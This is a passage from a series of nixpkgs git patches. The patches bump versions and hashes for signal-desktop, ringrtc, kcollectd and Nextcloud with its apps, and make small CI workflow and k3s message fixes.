-        "sha256-mVC7dOsBcBrOEuz7t4xMv1QX2ZgfA5EjnRYunZEx73E="
+        "sha256-ry7s9fbKx4e1LR8DlI2LIJY9GQrxmU7JQt+3apJGw/M="
       else
-        "sha256-9hvqLZGSrzJD5vMTdHoIpDeRM6fu2JSRNdHgyeSWmDY=";
+        "sha256-AkrfugpNvk4KgesRLQbso8p5b96Dg174R9/xuP4JtJg=";
   };
 
   env = {
     ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
     SIGNAL_ENV = "production";
-    SOURCE_DATE_EPOCH = 1750885921;
+    SOURCE_DATE_EPOCH = 1752109090;
   };
 
   preBuild = ''
diff --git a/pkgs/by-name/si/signal-desktop/ringrtc.nix b/pkgs/by-name/si/signal-desktop/ringrtc.nix
index c6ce6e8a4524..0648b0f0f03d 100644
--- a/pkgs/by-name/si/signal-desktop/ringrtc.nix
+++ b/pkgs/by-name/si/signal-desktop/ringrtc.nix
@@ -20,16 +20,16 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "ringrtc";
-  version = "2.53.0";
+  version = "2.54.1";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "ringrtc";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-JxEeE5r/qQGfTBP0szpChRdPuUl4PMK1km84N/8Dozg=";
+    hash = "sha256-T8oI04DOnTHFs7xlJ1wJbK64zqgJ2dM4Plz+C26DWEg=";
   };
   useFetchCargoVendor = true;
-  cargoHash = "sha256-qOBjSj1MErB0SajScicVPEn2pqAY+kWq7TS4Wiu4oxI=";
+  cargoHash = "sha256-KTPZ/1rDqxYxgUfgVTnNg7nLNxwCWGXDf+uJAhmpB3g=";
 
   cargoBuildFlags = [
     "-p"
diff --git a/pkgs/by-name/si/signal-desktop/webrtc-sources.json b/pkgs/by-name/si/signal-desktop/webrtc-sources.json
index 5896f815331f..56eaf7261468 100644
--- a/pkgs/by-name/si/signal-desktop/webrtc-sources.json
+++ b/pkgs/by-name/si/signal-desktop/webrtc-sources.json
@@ -1,10 +1,10 @@
 {
     "src": {
         "args": {
-            "hash": "sha256-laPkmf87ujO0dmQ6LqGSnvajeE2D0i5hL95RxN+SdNA=",
+            "hash": "sha256-ErUR9Xg69X5PEPoDw65BU2Tcpo7+JC2Pc+pYIxEGzNA=",
             "owner": "signalapp",
             "repo": "webrtc",
-            "tag": "7103d"
+            "tag": "7103e"
         },
         "fetcher": "fetchFromGitHub"
     },

From 2e3ed8b13abd5a620b80078aacfcf657980bb850 Mon Sep 17 00:00:00 2001
From: Guillaume Girol <symphorien+git@xlumurb.eu>
Date: Mon, 16 Jun 2025 12:00:00 +0000
Subject: [PATCH 2324/4511] kcollectd: 0.12.1 -> 0.12.2

fixes the build

changelog (from
https://gitlab.com/aerusso/kcollectd/-/blob/master/ChangeLog ):
 - Port to Qt6/KF6
 - Address filename reporting on load/save error
 - Rotated my key (see https://aerusso.net/errata/2024-xz)

(cherry picked from commit 3ba69f541dd1b21b28f2ad6b8f5ab8d51ab83c58)
---
 pkgs/tools/misc/kcollectd/default.nix | 10 ++++++----
 pkgs/top-level/all-packages.nix       |  2 +-
 2 files changed, 7 insertions(+), 5 deletions(-)

diff --git a/pkgs/tools/misc/kcollectd/default.nix b/pkgs/tools/misc/kcollectd/default.nix
index 86fb2628866d..a730185d2e4d 100644
--- a/pkgs/tools/misc/kcollectd/default.nix
+++ b/pkgs/tools/misc/kcollectd/default.nix
@@ -1,7 +1,8 @@
 {
   lib,
   fetchFromGitLab,
-  mkDerivation,
+  stdenv,
+  wrapQtAppsHook,
   qtbase,
   cmake,
   kconfig,
@@ -17,14 +18,14 @@
   breeze-icons,
 }:
 
-mkDerivation rec {
+stdenv.mkDerivation rec {
   pname = "kcollectd";
-  version = "0.12.1";
+  version = "0.12.2";
   src = fetchFromGitLab {
     owner = "aerusso";
     repo = pname;
     rev = "v${version}";
-    hash = "sha256-bUVL5eRQ5UkSZo562pnyEcj0fVoSC5WHRq4BfN67jEM=";
+    hash = "sha256-35zb5Kx0tRP5l0hILdomCu2YSQfng02mbyyAClm4uZs=";
   };
 
   postPatch = lib.optional (!lib.versionOlder rrdtool.version "1.9.0") ''
@@ -32,6 +33,7 @@ mkDerivation rec {
   '';
 
   nativeBuildInputs = [
+    wrapQtAppsHook
     cmake
     extra-cmake-modules
     shared-mime-info
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 05e8152b99a5..9a2099c5b9e6 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -3659,7 +3659,7 @@ with pkgs;
 
   node2nix = nodePackages.node2nix;
 
-  kcollectd = libsForQt5.callPackage ../tools/misc/kcollectd { };
+  kcollectd = kdePackages.callPackage ../tools/misc/kcollectd { };
 
   ktailctl = kdePackages.callPackage ../applications/networking/ktailctl { };
 

From a0eb10ededf16c7149b9007bd1ec50ad89e13c4f Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 12 Jul 2025 15:06:19 +0200
Subject: [PATCH 2325/4511] workflows/labels: label rebuilds immediately

This fixes labeling in the context of the `pull_request` trigger. Of
course, this was supposed to immediately label rebuilds after eval
finishes, but we somehow lost this along the way. Rebuilds are still
labeled fairly soon, because the scheduled trigger will pick up the same
PR within 10 minutes again and then apply the rebuild labels. But of
course, immediate is better.

The reason this happened is, that we're looking at `item.pull_request`
only. This is the correct distinction between "issue items" and "pull
request items", which we both get back from the /issues endpoint. But
the payload for the `pull_request*` event doesn't contain this, so
labeling in this case was treated like an issue and skipped the whole
pull request part.

(cherry picked from commit acf5bc2417093a45a549caf7da0f3a5c9ef959aa)
---
 ci/labels/labels.cjs | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/ci/labels/labels.cjs b/ci/labels/labels.cjs
index 5527059f6e45..809dc4581bb8 100644
--- a/ci/labels/labels.cjs
+++ b/ci/labels/labels.cjs
@@ -235,7 +235,7 @@ module.exports = async function ({ github, context, core, dry }) {
 
       const itemLabels = {}
 
-      if (item.pull_request) {
+      if (item.pull_request || context.payload.pull_request) {
         stats.prs++
         Object.assign(itemLabels, await handlePullRequest(item))
       } else {

From a91f59ad6336710b3c4afa163f26f6c0a0465827 Mon Sep 17 00:00:00 2001
From: Jost Alemann <jost_alemann@me.com>
Date: Wed, 9 Jul 2025 23:10:04 +0200
Subject: [PATCH 2326/4511] nixos/k3s: fix typo

(cherry picked from commit 3086227f722f6804915bf9c9c7237ec8bf697cb7)
---
 nixos/modules/services/cluster/k3s/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/services/cluster/k3s/default.nix b/nixos/modules/services/cluster/k3s/default.nix
index fe73c178d491..611fd0902cba 100644
--- a/nixos/modules/services/cluster/k3s/default.nix
+++ b/nixos/modules/services/cluster/k3s/default.nix
@@ -770,7 +770,7 @@ in
       ) "k3s: Images are only imported on nodes with an enabled agent, they will be ignored by this node")
       ++ (lib.optional (
         cfg.role == "agent" && cfg.configPath == null && cfg.serverAddr == ""
-      ) "k3s: ServerAddr or configPath (with 'server' key) should be set if role is 'agent'")
+      ) "k3s: serverAddr or configPath (with 'server' key) should be set if role is 'agent'")
       ++ (lib.optional
         (cfg.role == "agent" && cfg.configPath == null && cfg.tokenFile == null && cfg.token == "")
         "k3s: Token or tokenFile or configPath (with 'token' or 'token-file' keys) should be set if role is 'agent'"

From 10d378b9902195c37358760b54406840ab9e1371 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 12 Jul 2025 16:33:28 +0200
Subject: [PATCH 2327/4511] workflows/backport: fix concurrent jobs cancelling
 each other

When a PR is merged and labeled afterwards - with a non-backport label -
the following will happen:
- The first backport job is triggered on the merge.
- The second backport job is triggered on the label event.
- The second job will cancel the first one due to the concurrency group.
- The second job will cancel itself because the label event didn't
contain a backport label.

Both jobs end up cancelled and no backport happens.

We made the backport action idempotent upstream a while ago, so we don't
need to cancel those actions. Instead, we'll run all of them -
subsequent actions running through will just stay silent anyway.

(cherry picked from commit 58a3001a3a1220882a95dd97f8d4032270c33a3f)
---
 .github/workflows/backport.yml | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml
index c0b92a986c7c..709d8a6edd8f 100644
--- a/.github/workflows/backport.yml
+++ b/.github/workflows/backport.yml
@@ -9,10 +9,6 @@ on:
   pull_request_target:
     types: [closed, labeled]
 
-concurrency:
-  group: backport-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
-  cancel-in-progress: true
-
 permissions:
   contents: read
   issues: write

From 3ef04a21299f97906f76faaa62120aadc347512b Mon Sep 17 00:00:00 2001
From: provokateurin <kate@provokateurin.de>
Date: Thu, 10 Jul 2025 12:21:20 +0200
Subject: [PATCH 2328/4511] nextcloud30: 30.0.12 -> 30.0.13

(cherry picked from commit 674470e5f8f6fadfc842aaab6d95d20641f919d5)
---
 pkgs/servers/nextcloud/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/nextcloud/default.nix b/pkgs/servers/nextcloud/default.nix
index 17b4805878c3..3e7a2bde15d2 100644
--- a/pkgs/servers/nextcloud/default.nix
+++ b/pkgs/servers/nextcloud/default.nix
@@ -59,8 +59,8 @@ let
 in
 {
   nextcloud30 = generic {
-    version = "30.0.12";
-    hash = "sha256-nhmyX0InPUNhIYQmtHYqdmvuQIz6aqghn4wn9yCVp6g=";
+    version = "30.0.13";
+    hash = "sha256-viMmo689YHK08Uza05O5Y3qj3EDK9W/TgXXuo6j/j4Y=";
     packages = nextcloud30Packages;
   };
 

From e167c9256acb0ecbd2d1db4e5b89adfe1b534fdb Mon Sep 17 00:00:00 2001
From: provokateurin <kate@provokateurin.de>
Date: Thu, 10 Jul 2025 12:21:33 +0200
Subject: [PATCH 2329/4511] nextcloud31: 31.0.6 -> 31.0.7

(cherry picked from commit bdf8af200a69081afa025787091ac6260e5febfb)
---
 pkgs/servers/nextcloud/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/nextcloud/default.nix b/pkgs/servers/nextcloud/default.nix
index 3e7a2bde15d2..145708bc4fdf 100644
--- a/pkgs/servers/nextcloud/default.nix
+++ b/pkgs/servers/nextcloud/default.nix
@@ -65,8 +65,8 @@ in
   };
 
   nextcloud31 = generic {
-    version = "31.0.6";
-    hash = "sha256-pqvOG+hK5lCQYliV7leWxuYx/RDLF2RexNc/fZs3Jig=";
+    version = "31.0.7";
+    hash = "sha256-ACpdA64Fp/DDBWlH1toLeaRNPXIPVyj+UVWgxaO07Gk=";
     packages = nextcloud31Packages;
   };
 

From e40e235767b5b5bb5f9fd254c1aa42dd561fe21b Mon Sep 17 00:00:00 2001
From: provokateurin <kate@provokateurin.de>
Date: Thu, 10 Jul 2025 12:22:28 +0200
Subject: [PATCH 2330/4511] nextcloudPackages: update

(cherry picked from commit 772d8532eff85dfa0593546a883ec386547dd60c)
---
 pkgs/servers/nextcloud/packages/30.json | 78 +++++++++++------------
 pkgs/servers/nextcloud/packages/31.json | 84 ++++++++++++-------------
 2 files changed, 81 insertions(+), 81 deletions(-)

diff --git a/pkgs/servers/nextcloud/packages/30.json b/pkgs/servers/nextcloud/packages/30.json
index ec5d2edd785c..6b335dba5315 100644
--- a/pkgs/servers/nextcloud/packages/30.json
+++ b/pkgs/servers/nextcloud/packages/30.json
@@ -10,9 +10,9 @@
     ]
   },
   "bookmarks": {
-    "hash": "sha256-oXpTsmjD1zGjNoPoNVIVSVO4nHAoWy0YW3IT797XrRM=",
-    "url": "https://github.com/nextcloud/bookmarks/releases/download/v15.1.0/bookmarks-15.1.0.tar.gz",
-    "version": "15.1.0",
+    "hash": "sha256-NVe9eOL6dcL4hYYV7dsoR8ZKXFHkEGAo5sj9DXuDJEI=",
+    "url": "https://github.com/nextcloud/bookmarks/releases/download/v15.1.1/bookmarks-15.1.1.tar.gz",
+    "version": "15.1.1",
     "description": "- 📂 Sort bookmarks into folders\n- 🏷 Add tags and personal notes\n- ☠ Find broken links and duplicates\n- 📲 Synchronize with all your browsers and devices\n- 📔 Store archived versions of your links in case they are depublished\n- 🔍 Full-text search on site contents\n- 👪 Share bookmarks with other users, groups and teams or via public links\n- ⚛ Generate RSS feeds of your collections\n- 📈 Stats on how often you access which links\n- 🔒 Automatic backups of your bookmarks collection\n- 💼 Built-in Dashboard widgets for frequent and recent links\n\nRequirements:\n - PHP extensions:\n   - intl: *\n   - mbstring: *\n - when using MySQL, use at least v8.0",
     "homepage": "https://github.com/nextcloud/bookmarks",
     "licenses": [
@@ -20,9 +20,9 @@
     ]
   },
   "calendar": {
-    "hash": "sha256-vsqyTtHDTjB4POwQyDtlAPnb8nBQw0ZTBnBUqP4Kw9A=",
-    "url": "https://github.com/nextcloud-releases/calendar/releases/download/v5.3.2/calendar-v5.3.2.tar.gz",
-    "version": "5.3.2",
+    "hash": "sha256-Wm7RWDe/6jcOEGp2eR1k7x05ilB6kW1u1aRdN7HI4Wk=",
+    "url": "https://github.com/nextcloud-releases/calendar/releases/download/v5.3.5/calendar-v5.3.5.tar.gz",
+    "version": "5.3.5",
     "description": "A Calendar app for Nextcloud. Easily sync events from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Like Contacts, Talk, Tasks, Deck and Circles\n* 🌐 **WebCal Support!** Want to see your favorite team's matchdays in your calendar? No problem!\n* 🙋 **Attendees!** Invite people to your events\n* ⌚ **Free/Busy!** See when your attendees are available to meet\n* ⏰ **Reminders!** Get alarms for events inside your browser and via email\n* 🔍 **Search!** Find your events at ease\n* ☑️ **Tasks!** See tasks or Deck cards with a due date directly in the calendar\n* 🔈 **Talk rooms!** Create an associated Talk room when booking a meeting with just one click\n* 📆 **Appointment booking** Send people a link so they can book an appointment with you [using this app](https://apps.nextcloud.com/apps/appointments)\n* 📎 **Attachments!** Add, upload and view event attachments\n* 🙈 **We’re not reinventing the wheel!** Based on the great [c-dav library](https://github.com/nextcloud/cdav-library), [ical.js](https://github.com/mozilla-comm/ical.js) and [fullcalendar](https://github.com/fullcalendar/fullcalendar) libraries.",
     "homepage": "https://github.com/nextcloud/calendar/",
     "licenses": [
@@ -40,9 +40,9 @@
     ]
   },
   "contacts": {
-    "hash": "sha256-uT1QOZpuKvsrnZWYbaQUhUdM49xdIivotFe6FAz330I=",
-    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.1.3/contacts-v7.1.3.tar.gz",
-    "version": "7.1.3",
+    "hash": "sha256-52FNlLIc4Xr/8mKzEJW8YJ7RbfaeSpMaIxGhBFp0WFc=",
+    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.1.5/contacts-v7.1.5.tar.gz",
+    "version": "7.1.5",
     "description": "The Nextcloud contacts app is a user interface for Nextcloud's CardDAV server. Easily sync contacts from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Currently Mail and Calendar – more to come.\n* 🎉 **Never forget a birthday!** You can sync birthdays and other recurring events with your Nextcloud Calendar.\n* 👥 **Sharing of Adressbooks!** You want to share your contacts with your friends or coworkers? No problem!\n* 🙈 **We’re not reinventing the wheel!** Based on the great and open SabreDAV library.",
     "homepage": "https://github.com/nextcloud/contacts#readme",
     "licenses": [
@@ -130,9 +130,9 @@
     ]
   },
   "forms": {
-    "hash": "sha256-t4/1Rq99VH+g43zLcms5P714bSYv5h6RTaI4Q7jvD+Y=",
-    "url": "https://github.com/nextcloud-releases/forms/releases/download/v5.1.0/forms-v5.1.0.tar.gz",
-    "version": "5.1.0",
+    "hash": "sha256-WOLrsu/0CYPnthm+c6TELXUis91bnEclQJ5iOdBeszc=",
+    "url": "https://github.com/nextcloud-releases/forms/releases/download/v5.1.2/forms-v5.1.2.tar.gz",
+    "version": "5.1.2",
     "description": "**Simple surveys and questionnaires, self-hosted!**\n\n- **📝 Simple design:** No mass of options, only the essentials. Works well on mobile of course.\n- **📊 View & export results:** Results are visualized and can also be exported as CSV in the same format used by Google Forms.\n- **🔒 Data under your control!** Unlike in Google Forms, Typeform, Doodle and others, the survey info and responses are kept private on your instance.\n- **🧑‍💻 Connect to your software:** Easily integrate Forms into your service with our full-fledged [REST-API](https://github.com/nextcloud/forms/blob/main/docs/API.md).\n- **🙋 Get involved!** We have lots of stuff planned like more question types, collaboration on forms, [and much more](https://github.com/nextcloud/forms/milestones)!",
     "homepage": "https://github.com/nextcloud/forms",
     "licenses": [
@@ -150,10 +150,10 @@
     ]
   },
   "groupfolders": {
-    "hash": "sha256-xlxc4m0xxjrI3Pi+1L63Sm4wQCjJdkHD9JPorsrI5e0=",
-    "url": "https://github.com/nextcloud-releases/groupfolders/releases/download/v18.1.2/groupfolders-v18.1.2.tar.gz",
-    "version": "18.1.2",
-    "description": "Admin configured folders shared with everyone in a team.\n\nFolders can be configured from *Team folders* in the admin settings.\n\nAfter a folder is created, the admin can give access to the folder to one or more teams, control their write/sharing permissions and assign a quota for the folder.",
+    "hash": "sha256-FpGpZB5hv0gSXRDTYpCo0MPNOat27ZsyuXxVIYBs+pg=",
+    "url": "https://github.com/nextcloud-releases/groupfolders/releases/download/v18.1.3/groupfolders-v18.1.3.tar.gz",
+    "version": "18.1.3",
+    "description": "Admin configured folders shared with everyone in a group.\n\nFolders can be configured from *Group folders* in the admin settings.\n\nAfter a folder is created, the admin can give access to the folder to one or more groups, control their write/sharing permissions and assign a quota for the folder.",
     "homepage": "https://github.com/nextcloud/groupfolders",
     "licenses": [
       "agpl"
@@ -200,9 +200,9 @@
     ]
   },
   "mail": {
-    "hash": "sha256-P2LeJOjCR6ufq26gz4aK/Xy359vwnD2TZJodn/YfXcU=",
-    "url": "https://github.com/nextcloud-releases/mail/releases/download/v5.1.3/mail-v5.1.3.tar.gz",
-    "version": "5.1.3",
+    "hash": "sha256-FSpr/PVZlx4t+1cGmyoES/9i0c2nyRTPLTodLM2JP04=",
+    "url": "https://github.com/nextcloud-releases/mail/releases/download/v5.1.7/mail-v5.1.7.tar.gz",
+    "version": "5.1.7",
     "description": "**💌 A mail app for Nextcloud**\n\n- **🚀 Integration with other Nextcloud apps!** Currently Contacts, Calendar & Files – more to come.\n- **📥 Multiple mail accounts!** Personal and company account? No problem, and a nice unified inbox. Connect any IMAP account.\n- **🔒 Send & receive encrypted mails!** Using the great [Mailvelope](https://mailvelope.com) browser extension.\n- **🙈 We’re not reinventing the wheel!** Based on the great [Horde](https://www.horde.org) libraries.\n- **📬 Want to host your own mail server?** We do not have to reimplement this as you could set up [Mail-in-a-Box](https://mailinabox.email)!\n\n## Ethical AI Rating\n\n### Priority Inbox\n\nPositive:\n* The software for training and inferencing of this model is open source.\n* The model is created and trained on-premises based on the user's own data.\n* The training data is accessible to the user, making it possible to check or correct for bias or optimise the performance and CO2 usage.\n\n### Thread Summaries (opt-in)\n\n**Rating:** 🟢/🟡/🟠/🔴\n\nThe rating depends on the installed text processing backend. See [the rating overview](https://docs.nextcloud.com/server/latest/admin_manual/ai/index.html) for details.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).",
     "homepage": "https://github.com/nextcloud/mail#readme",
     "licenses": [
@@ -230,19 +230,19 @@
     ]
   },
   "music": {
-    "hash": "sha256-h83Xc292/NQPWOTRIbUSgqHUH/Sp4fYJ8GAHSiJWHP0=",
-    "url": "https://github.com/owncloud/music/releases/download/v2.1.4/music_2.1.4_for_nextcloud.tar.gz",
-    "version": "2.1.4",
-    "description": "A stand-alone music player app and a \"lite\" player for the Files app\n\n- On modern browsers, supports audio types .mp3, .ogg, .m4a, .m4b, .flac, .wav, and more\n- Playlist support with import from m3u, m3u8, and pls files\n- Browse by artists, albums, genres, or folders\n- Gapless play\n- Filter the shown content with the search function\n- Advanced search to freely use and combine dozens of search criteria\n- Play internet radio and podcast channels\n- Setup Last.fm connection to see background information on artists, albums, and songs\n- Control with media control keys on the keyboard or OS\n- The app can handle libraries consisting of thousands of albums and tens of thousands of songs\n- Includes a server backend compatible with the Subsonic and Ampache protocols, allowing playback and browsing of your library on dozens of external apps on Android, iOS, Windows, Linux, etc.\n- Widget for the Nextcloud Dashboard",
+    "hash": "sha256-8FQrQdoaSeJh4tnqvGOiuxN1YPQIJSwm6sTHOfc31cg=",
+    "url": "https://github.com/owncloud/music/releases/download/v2.2.0/music_2.2.0_for_nextcloud.tar.gz",
+    "version": "2.2.0",
+    "description": "A stand-alone music player app and a \"lite\" player for the Files app\n\n- On modern browsers, supports audio types .mp3, .ogg, .m4a, .m4b, .flac, .wav, and more\n- Playlist support with import from .m3u, .m3u8, .pls, and .wpl files\n- Show lyrics from the file metadata or .lrc files\n- Browse by artists, albums, genres, or folders\n- Gapless play\n- Filter the shown content with the search function\n- Advanced search to freely use and combine dozens of search criteria\n- Play internet radio and podcast channels\n- Setup Last.fm connection to see background information on artists, albums, and songs\n- Control with media control keys on the keyboard or OS\n- The app can handle libraries consisting of thousands of albums and tens of thousands of songs\n- Includes a server backend compatible with the Subsonic and Ampache protocols, allowing playback and browsing of your library on dozens of external apps on Android, iOS, Windows, Linux, etc.\n- Widget for the Nextcloud Dashboard",
     "homepage": "https://github.com/owncloud/music",
     "licenses": [
       "agpl"
     ]
   },
   "news": {
-    "hash": "sha256-T/ZKL4YWw0ai7mZ9gm91BUl6Md6hyTakYgKsarSYO4k=",
-    "url": "https://github.com/nextcloud/news/releases/download/26.0.1/news.tar.gz",
-    "version": "26.0.1",
+    "hash": "sha256-Y1+hcRxewWyctG5nS7GjN+zWCBrxoroeb01HLzqAR08=",
+    "url": "https://github.com/nextcloud/news/releases/download/26.0.2/news.tar.gz",
+    "version": "26.0.2",
     "description": "📰 A RSS/Atom Feed reader App for Nextcloud\n\n- 📲 Synchronize your feeds with multiple mobile or desktop [clients](https://nextcloud.github.io/news/clients/)\n- 🔄 Automatic updates of your news feeds\n- 🆓 Free and open source under AGPLv3, no ads or premium functions\n\n**System Cron is currently required for this app to work**\n\nRequirements can be found [here](https://nextcloud.github.io/news/install/#dependencies)\n\nThe Changelog is available [here](https://github.com/nextcloud/news/blob/master/CHANGELOG.md)\n\nCreate a [bug report](https://github.com/nextcloud/news/issues/new/choose)\n\nCreate a [feature request](https://github.com/nextcloud/news/discussions/new)\n\nReport a [feed issue](https://github.com/nextcloud/news/discussions/new)",
     "homepage": "https://github.com/nextcloud/news",
     "licenses": [
@@ -300,10 +300,10 @@
     ]
   },
   "polls": {
-    "hash": "sha256-AJUC5UIz6xY75cEJHfNjhUm9K9HnXWMokt9gIOcq8vI=",
-    "url": "https://github.com/nextcloud-releases/polls/releases/download/v7.4.3/polls-v7.4.3.tar.gz",
-    "version": "7.4.3",
-    "description": "A polls app, similar to Doodle/Dudle with the possibility to restrict access (members, certain groups/users, hidden and public).",
+    "hash": "sha256-j+Aq3Hu7i52o5HqMROTHeb/955N7Qw4TMFPEevR+bYQ=",
+    "url": "https://github.com/nextcloud-releases/polls/releases/download/v7.4.4/polls-v7.4.4.tar.gz",
+    "version": "7.4.4",
+    "description": "A polls app, similar to Doodle/DuD-Poll with the possibility to restrict access (members, certain groups/users, hidden and public).",
     "homepage": "https://github.com/nextcloud/polls",
     "licenses": [
       "agpl"
@@ -370,9 +370,9 @@
     ]
   },
   "spreed": {
-    "hash": "sha256-C3TLD6tZa++H6Kg0X5gz2kyJQVitXJoQ5rUccyX4N8w=",
-    "url": "https://github.com/nextcloud-releases/spreed/releases/download/v20.1.7/spreed-v20.1.7.tar.gz",
-    "version": "20.1.7",
+    "hash": "sha256-McNUCYvP7bKwZHrfqKMq5w5aEvA4ulS+ifFqUIl4i48=",
+    "url": "https://github.com/nextcloud-releases/spreed/releases/download/v20.1.8/spreed-v20.1.8.tar.gz",
+    "version": "20.1.8",
     "description": "Chat, video & audio-conferencing using WebRTC\n\n* 💬 **Chat** Nextcloud Talk comes with a simple text chat, allowing you to share or upload files from your Nextcloud Files app or local device and mention other participants.\n* 👥 **Private, group, public and password protected calls!** Invite someone, a whole group or send a public link to invite to a call.\n* 🌐 **Federated chats** Chat with other Nextcloud users on their servers\n* 💻 **Screen sharing!** Share your screen with the participants of your call.\n* 🚀 **Integration with other Nextcloud apps** like Files, Calendar, User status, Dashboard, Flow, Maps, Smart picker, Contacts, Deck, and many more.\n* 🌉 **Sync with other chat solutions** With [Matterbridge](https://github.com/42wim/matterbridge/) being integrated in Talk, you can easily sync a lot of other chat solutions to Nextcloud Talk and vice-versa.",
     "homepage": "https://github.com/nextcloud/spreed",
     "licenses": [
@@ -410,9 +410,9 @@
     ]
   },
   "unroundedcorners": {
-    "hash": "sha256-ONOBDUciyWlKvi3Fd5+mWh3OLRfyW+PlKJKJWdMph0U=",
-    "url": "https://github.com/OliverParoczai/nextcloud-unroundedcorners/releases/download/v1.1.4/unroundedcorners-v1.1.4.tar.gz",
-    "version": "1.1.4",
+    "hash": "sha256-0+fOJnPsuengy8TPzTKizDnDXTlZStalFDOv+dFlRgc=",
+    "url": "https://github.com/OliverParoczai/nextcloud-unroundedcorners/releases/download/v1.1.5/unroundedcorners-v1.1.5.tar.gz",
+    "version": "1.1.5",
     "description": "# Unrounded Corners\nA Nextcloud app that restores the corners of buttons and widgets to their original looks by unrounding them.",
     "homepage": "https://github.com/OliverParoczai/nextcloud-unroundedcorners",
     "licenses": [
@@ -460,9 +460,9 @@
     ]
   },
   "whiteboard": {
-    "hash": "sha256-hz8nviBUakDWH5ThDILoRFxyBFVpzJgXM6dgqry13tc=",
-    "url": "https://github.com/nextcloud-releases/whiteboard/releases/download/v1.0.5/whiteboard-v1.0.5.tar.gz",
-    "version": "1.0.5",
+    "hash": "sha256-njiTDKDiwDeOH9biOohIQueAI8/pSijWy8EDXHoVeQo=",
+    "url": "https://github.com/nextcloud-releases/whiteboard/releases/download/v1.1.2/whiteboard-v1.1.2.tar.gz",
+    "version": "1.1.2",
     "description": "The official whiteboard app for Nextcloud. It allows users to create and share whiteboards with other users and collaborate in real-time.\n\n**Whiteboard requires a separate collaboration server to work.** Please see the [documentation](https://github.com/nextcloud/whiteboard?tab=readme-ov-file#backend) on how to install it.\n\n- 🎨 Drawing shapes, writing text, connecting elements\n- 📝 Real-time collaboration\n- 🖼️ Add images with drag and drop\n- 📊 Easily add mermaid diagrams\n- ✨ Use the Smart Picker to embed other elements from Nextcloud\n- 📦 Image export\n- 💪 Strong foundation: We use Excalidraw as our base library",
     "homepage": "https://github.com/nextcloud/whiteboard",
     "licenses": [
diff --git a/pkgs/servers/nextcloud/packages/31.json b/pkgs/servers/nextcloud/packages/31.json
index 940db23f0367..6e6e73780564 100644
--- a/pkgs/servers/nextcloud/packages/31.json
+++ b/pkgs/servers/nextcloud/packages/31.json
@@ -10,9 +10,9 @@
     ]
   },
   "bookmarks": {
-    "hash": "sha256-oXpTsmjD1zGjNoPoNVIVSVO4nHAoWy0YW3IT797XrRM=",
-    "url": "https://github.com/nextcloud/bookmarks/releases/download/v15.1.0/bookmarks-15.1.0.tar.gz",
-    "version": "15.1.0",
+    "hash": "sha256-NVe9eOL6dcL4hYYV7dsoR8ZKXFHkEGAo5sj9DXuDJEI=",
+    "url": "https://github.com/nextcloud/bookmarks/releases/download/v15.1.1/bookmarks-15.1.1.tar.gz",
+    "version": "15.1.1",
     "description": "- 📂 Sort bookmarks into folders\n- 🏷 Add tags and personal notes\n- ☠ Find broken links and duplicates\n- 📲 Synchronize with all your browsers and devices\n- 📔 Store archived versions of your links in case they are depublished\n- 🔍 Full-text search on site contents\n- 👪 Share bookmarks with other users, groups and teams or via public links\n- ⚛ Generate RSS feeds of your collections\n- 📈 Stats on how often you access which links\n- 🔒 Automatic backups of your bookmarks collection\n- 💼 Built-in Dashboard widgets for frequent and recent links\n\nRequirements:\n - PHP extensions:\n   - intl: *\n   - mbstring: *\n - when using MySQL, use at least v8.0",
     "homepage": "https://github.com/nextcloud/bookmarks",
     "licenses": [
@@ -20,9 +20,9 @@
     ]
   },
   "calendar": {
-    "hash": "sha256-vsqyTtHDTjB4POwQyDtlAPnb8nBQw0ZTBnBUqP4Kw9A=",
-    "url": "https://github.com/nextcloud-releases/calendar/releases/download/v5.3.2/calendar-v5.3.2.tar.gz",
-    "version": "5.3.2",
+    "hash": "sha256-Wm7RWDe/6jcOEGp2eR1k7x05ilB6kW1u1aRdN7HI4Wk=",
+    "url": "https://github.com/nextcloud-releases/calendar/releases/download/v5.3.5/calendar-v5.3.5.tar.gz",
+    "version": "5.3.5",
     "description": "A Calendar app for Nextcloud. Easily sync events from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Like Contacts, Talk, Tasks, Deck and Circles\n* 🌐 **WebCal Support!** Want to see your favorite team's matchdays in your calendar? No problem!\n* 🙋 **Attendees!** Invite people to your events\n* ⌚ **Free/Busy!** See when your attendees are available to meet\n* ⏰ **Reminders!** Get alarms for events inside your browser and via email\n* 🔍 **Search!** Find your events at ease\n* ☑️ **Tasks!** See tasks or Deck cards with a due date directly in the calendar\n* 🔈 **Talk rooms!** Create an associated Talk room when booking a meeting with just one click\n* 📆 **Appointment booking** Send people a link so they can book an appointment with you [using this app](https://apps.nextcloud.com/apps/appointments)\n* 📎 **Attachments!** Add, upload and view event attachments\n* 🙈 **We’re not reinventing the wheel!** Based on the great [c-dav library](https://github.com/nextcloud/cdav-library), [ical.js](https://github.com/mozilla-comm/ical.js) and [fullcalendar](https://github.com/fullcalendar/fullcalendar) libraries.",
     "homepage": "https://github.com/nextcloud/calendar/",
     "licenses": [
